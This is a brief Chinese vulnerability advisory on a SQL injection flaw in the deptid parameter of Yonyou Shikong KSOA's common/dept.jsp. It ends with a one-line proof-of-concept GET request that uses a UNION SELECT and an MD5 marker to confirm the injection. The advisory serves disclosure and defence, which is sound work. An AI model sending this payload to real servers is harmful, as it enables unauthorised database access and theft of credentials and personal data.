用友时空 KSOA common/dept.jsp SQL 注入漏洞

日期: 2025-11-28 | 影响软件: 用友时空KSOA | POC: 已公开

漏洞描述

用友时空 KSOA 是一款企业级应用性能管理（APM）软件，旨在为企业提供应用程序的性能监测和管理服务，帮助企业及时识别和解决应用程序的性能问题，提升应用程序的质量和稳定性。该软件在 dept.jsp 文件的参数 deptid 处存在 SQL 注入漏洞，攻击者可以利用该漏洞获取数据库中的信息，例如管理员后台密码、用户个人信息等，甚至可能在高权限情况下进一步控制服务器。

PoC代码

GET /common/dept.jsp?deptid=1'+UNION+ALL+SELECT+60%2Csys.fn_sqlvarbasetostr(HASHBYTES('MD5'%2C'999999999'))--+ HTTP/1.1

相关漏洞推荐